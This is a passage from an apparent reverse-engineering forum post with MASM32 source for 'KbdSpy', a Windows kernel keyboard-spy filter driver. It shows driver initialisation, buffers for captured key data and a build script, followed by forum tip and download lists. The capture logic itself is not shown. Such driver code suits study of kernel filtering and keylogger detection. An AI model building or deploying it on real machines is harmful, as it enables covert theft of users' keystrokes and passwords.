invoke IoCreateDevice, pDriverObject, sizeof CDO_DEVICE_EXTENSION, addr g_usControlDeviceName, \
FILE_DEVICE_UNKNOWN, 0, TRUE, addr g_pControlDeviceObject
.if eax == STATUS_SUCCESS
;mov eax, g_pControlDeviceObject
;mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
;and (CDO_DEVICE_EXTENSION ptr [eax]).fOpened, 0
invoke IoCreateSymbolicLink, addr g_usSymbolicLinkName, addr g_usControlDeviceName
.if eax == STATUS_SUCCESS
; Allocate memory for lookaside list
invoke ExAllocatePool, NonPagedPool, sizeof NPAGED_LOOKASIDE_LIST
.if eax != NULL
mov g_pKeyDataLookaside, eax
invoke ExInitializeNPagedLookasideList, g_pKeyDataLookaside, \
NULL, NULL, 0, sizeof KEY_DATA_ENTRY, 'ypSK', 0
; Use doubly linked list to track memory blocks
; we will allocate/free from/to lookaside list
InitializeListHead addr g_KeyDataListHead
and g_cKeyDataEntries, 0
; Init spin lock guarding common driver routines
invoke KeInitializeSpinLock, addr g_KeyDataSpinLock
; Init spin lock guarding event pointer
invoke KeInitializeSpinLock, addr g_EventSpinLock
; Init CDO state mutex
MUTEX_INIT g_mtxCDO_State
; I know they all are zero by default, but...
and g_fCDO_Opened, FALSE
and g_fFiDO_Attached, FALSE
and g_pFilterDeviceObject, NULL
and g_fSpy, FALSE
and g_dwPendingRequests, 0
mov eax, g_pControlDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
and (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy, FALSE
mov eax, pDriverObject
assume eax:ptr DRIVER_OBJECT
mov ecx, IRP_MJ_MAXIMUM_FUNCTION + 1
.while ecx
dec ecx
mov [eax].MajorFunction[ecx*(sizeof PVOID)], offset DriverDispatch
.endw
mov [eax].DriverUnload, offset DriverUnload
assume eax:nothing
mov eax, pDriverObject
mov g_pDriverObject, eax
mov status, STATUS_SUCCESS
.else ; ExAllocatePool failed
invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
invoke IoDeleteDevice, g_pControlDeviceObject
.endif
.else ; IoCreateSymbolicLink failed
invoke IoDeleteDevice, g_pControlDeviceObject
.endif
.endif
mov eax, status
ret
DriverEntry endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
end DriverEntry
:make
set drv=KbdSpy
\masm32\bin\ml /nologo /c /coff %drv%.bat
\masm32\bin\link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj
del %drv%.obj
echo.
pause
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏记录
参与人
雪币
留言
时间
Youlor
为你点赞~
2024-3-13 00:19
伟叔叔
为你点赞~
2024-1-6 04:14
QinBeast
为你点赞~
2024-1-4 02:43
shinratensei
为你点赞~
2023-11-19 00:24
一笑人间万事
为你点赞~
2023-11-17 03:16
心游尘世外
为你点赞~
2023-11-2 04:07
飘零丶
为你点赞~
2023-10-7 00:24
赞赏
他的文章
谁下载
wpz12
kanxue
xIkUg
911xx
subme1
oddness
xyzjhe
cxjnet
hibixie
71190838
alan113
fire18
dj886
lmsoft
chion
suddymail
redacker
amdey
cmilk
cradsl
zhujian
天外来客
开心就OK
nonsenser
thdzhqg
yiyiguxing
Jemmy
buddha
sixL
RuShi
yanxizhen
溺水的鱼
jilvensu
DoItFreely
Hitman
stuwolf
我是大头
huangxw
qwwqwwwq
basketwill
firabc
hackroad
radtek
rgbsky
jszjwgh
sxjswift
davidfoxhu
银狐
btflying
onepc
kmsmxpro
jerrynpc
info
draglog
yachli
zmmkele
liuzy
SuFaq
caoyangorg
wonjhoncy
duanmuziyu
hahazhuai
rocketming
sudami
smartqiu
ycdear
allkilled
leather
yinning
nevergone
spsyd
diaowubin
bzhkl
vvsky
sanxa
ylautyboy
zzage
luorq
啤酒肚
beyoar
qifuren
xPLK
房有亮
垃圾一个
imdemon
jackieron
coolwxd
Nukou
薛凌云xly
xgcxgc
zkxmu
aosemp
云天海
Ditans
jassy
黑天鹅
xllyq
yesswh
孙海鸥
谁下载
wpz12
xIkUg
yhtchf
alan113
hldgaofeng
fire18
dj886
cmilk
fengyun
Jemmy
RuShi
liudm
slangmgh
huangxw
hackroad
rgbsky
jszjwgh
davidfoxhu
btflying
kmsmxpro
info
liuzy
caoyangorg
smartqiu
vvsky
zzage
enjidragen
coolwxd
chrtest
薛凌云xly
云天海
黑天鹅
gunandrose
xllyq
孙海鸥
ASMFAQ
halfsoul
loudy
xgym
shangde
siryzh
saskill
Fido
doking
哈哈在世
靴子
冷铁
bbsone
HarveyLee
stonevx
xiep
asmfly
KID基德
crackyour
dongsupan
gpaul
seouseo
初学IDA
lxmsh
徐锦江
MiSHE
neoGFH
yangyxd
tannaiwei
myhhs
swanabin
xiaopai
lijianhua
MRHuang
cold
zxkspirit
qoozon
qiaoyun
wenyongfan
xunjing
autojie
opq哲哥
ErrorKit
逆水寒CHJ
jsyfly
airxiechao
泰国老大
一路走好
guanyazhou
justtryit
qqqaa
ombdmo
cj刘
zggTest
CJSoldier
jji
gameworld
安管平台
看原图
赞赏
雪币:
留言: